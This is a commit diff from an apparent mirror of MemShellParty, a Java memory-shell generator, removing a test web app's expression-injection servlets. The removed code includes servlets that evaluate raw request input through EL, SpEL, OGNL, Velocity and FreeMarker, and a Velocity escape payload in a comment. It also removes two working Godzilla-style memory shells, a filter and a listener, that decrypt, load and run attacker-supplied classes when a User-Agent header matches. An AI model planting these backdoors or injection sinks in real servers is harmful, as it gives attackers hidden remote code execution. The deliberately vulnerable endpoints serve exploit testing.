archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-23 15:31:53 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

fix: jboss6 scan overflow with spring

Browse Source
This commit is contained in:
ReaJason
2024-12-14 21:32:57 +08:00
parent 699169d277
commit 5ec6f6c3cc
21 changed files with 545 additions and 86 deletions
Download Patch File Download Diff File Expand all files Collapse all files
vul-webapp/build.gradle
-6
View File
@@ -16,11 +16,5 @@ java {
dependencies {
implementation 'commons-fileupload:commons-fileupload:1.3.3'
implementation 'commons-beanutils:commons-beanutils:1.9.3'
implementation 'de.odysseus.juel:juel-impl:2.2.7'
implementation 'org.freemarker:freemarker:2.3.23'
implementation 'org.apache.velocity:velocity:1.7'
implementation 'ognl:ognl:2.7.3'
implementation 'org.springframework:spring-expression:4.3.30.RELEASE'
providedCompile 'de.odysseus.juel:juel-api:2.2.7'
providedCompile "javax.servlet:servlet-api:2.5"
}
vul-webapp/src/main/java/ELServlet.java
-27
View File
@@ -1,27 +0,0 @@
import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class ELServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
ExpressionFactory factory = new ExpressionFactoryImpl();
SimpleContext context = new SimpleContext();
ValueExpression ve = factory.createValueExpression(context, "${" + data + "}", Object.class);
Object value = ve.getValue(context);
resp.getWriter().write(value.toString());
}
}
vul-webapp/src/main/java/ErrorFilter.java
-128
View File
@@ -1,128 +0,0 @@
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class ErrorFilter extends ClassLoader implements Filter {
public String key = "3c6e0b8a9c15224a";
public String pass = "pass";
public String md5 = "11CD6A87589841636C37AC826A2A04BC";
public String headerName = "User-Agent";
public String headerValue = "test";
public ErrorFilter() {
}
public ErrorFilter(ClassLoader var1) {
super(var1);
}
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
try {
Class<?> base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var61) {
try {
Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public static byte[] base64Decode(String bs) {
byte[] value = null;
try {
Class<?> base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var61) {
try {
Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var41) {
return null;
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(this.pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new ErrorFilter(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f;
try {
f = ((Class) session.getAttribute("payload")).newInstance();
} catch (Exception e) {
throw new RuntimeException(e);
}
f.equals(arrOut);
f.equals(request);
response.getWriter().write(this.md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(this.md5.substring(16));
}
} else {
chain.doFilter(servletRequest, servletResponse);
}
} catch (Exception var12) {
chain.doFilter(servletRequest, servletResponse);
}
}
@Override
public void destroy() {
}
}
vul-webapp/src/main/java/ErrorListener.java
-140
View File
@@ -1,140 +0,0 @@
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
public class ErrorListener extends ClassLoader implements ServletRequestListener {
public String md5 = "4B9B4A9EEB3F82A06A5D643C57E87B54";
public String pass = "passListener";
public String key = "4fe60e3b9193d6bd";
public String headerName = "User-Agent";
public String headerValue = "test";
public ErrorListener() {
}
public ErrorListener(ClassLoader var1) {
super(var1);
}
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
try {
Class<?> base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var61) {
try {
Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public static byte[] base64Decode(String bs) {
byte[] value = null;
try {
Class<?> base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var61) {
try {
Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var41) {
return null;
}
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
HttpServletResponse response = this.getResponseFromRequest(request);
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(this.pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new ErrorFilter(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(request);
response.getWriter().write(this.md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(this.md5.substring(16));
response.flushBuffer();
}
}
} catch (Exception var8) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception var4) {
response = (HttpServletResponse) getFieldValue(request, "response");
}
return response;
}
}
vul-webapp/src/main/java/FreemarkerServlet.java
-36
View File
@@ -1,36 +0,0 @@
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.StringReader;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class FreemarkerServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
Configuration cfg = new Configuration();
cfg.setDefaultEncoding("UTF-8");
Map<String, Object> input = new HashMap<String, Object>();
input.put("object", new Object());
Template template = new Template("templateName", new StringReader(data), cfg);
StringWriter output = new StringWriter();
try {
template.process(input, output);
} catch (TemplateException e) {
throw new RuntimeException(e);
}
resp.getWriter().write(output.toString());
}
}
vul-webapp/src/main/java/OgnlServlet.java
-28
View File
@@ -1,28 +0,0 @@
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class OgnlServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
OgnlContext context = new OgnlContext();
Object value = null;
try {
value = Ognl.getValue(data, context, context.getRoot());
} catch (OgnlException e) {
throw new RuntimeException(e);
}
resp.getWriter().println(value);
}
}
vul-webapp/src/main/java/SpELServlet.java
-20
View File
@@ -1,20 +0,0 @@
import org.springframework.expression.spel.standard.SpelExpressionParser;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class SpELServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
Object value = new SpelExpressionParser().parseExpression(data).getValue();
resp.getWriter().println(value);
}
}
vul-webapp/src/main/java/VelocityServlet.java
-24
View File
@@ -1,24 +0,0 @@
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.StringWriter;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class VelocityServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
StringWriter sw = new StringWriter();
Velocity.evaluate(new VelocityContext(), sw, "tag", data);
resp.getWriter().write(sw.toString());
}
}
// #set($x='') $x.class.forName('javax.script.ScriptEngineManager').declaredConstructors[0].newInstance().getEngineByName('js').eval('1+1')
vul-webapp/src/main/webapp/WEB-INF/web.xml
-61
View File
@@ -44,65 +44,4 @@
<servlet-name>java-deserialize</servlet-name>
<url-pattern>/java_deserialize</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>el</servlet-name>
<servlet-class>ELServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>el</servlet-name>
<url-pattern>/el</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>SpEL</servlet-name>
<servlet-class>SpELServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>SpEL</servlet-name>
<url-pattern>/spel</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>ognl</servlet-name>
<servlet-class>OgnlServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ognl</servlet-name>
<url-pattern>/ognl</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>velocity</servlet-name>
<servlet-class>VelocityServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>velocity</servlet-name>
<url-pattern>/velocity</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>freemarker</servlet-name>
<servlet-class>FreemarkerServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>freemarker</servlet-name>
<url-pattern>/freemarker</url-pattern>
</servlet-mapping>
<!-- 测试 listener 内存马 -->
<!-- <listener>-->
<!-- <listener-class>ErrorListener</listener-class>-->
<!-- </listener>-->
<!-- 测试 filter 内存马 -->
<!-- <filter>-->
<!-- <filter-name>godzilla</filter-name>-->
<!-- <filter-class>ErrorHandler</filter-class>-->
<!-- </filter>-->
<!-- <filter-mapping>-->
<!-- <filter-name>godzilla</filter-name>-->
<!-- <url-pattern>/test_filter</url-pattern>-->
<!-- </filter-mapping>-->
</web-app>
vul-webapp/src/main/webapp/shell.jsp
-16
View File
@@ -1,16 +0,0 @@
<%--
Created by IntelliJ IDEA.
User: ReaJason
Date: 2024/12/14
Time: 20:29
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>$Title$</title>
</head>
<body>
$END$
</body>
</html>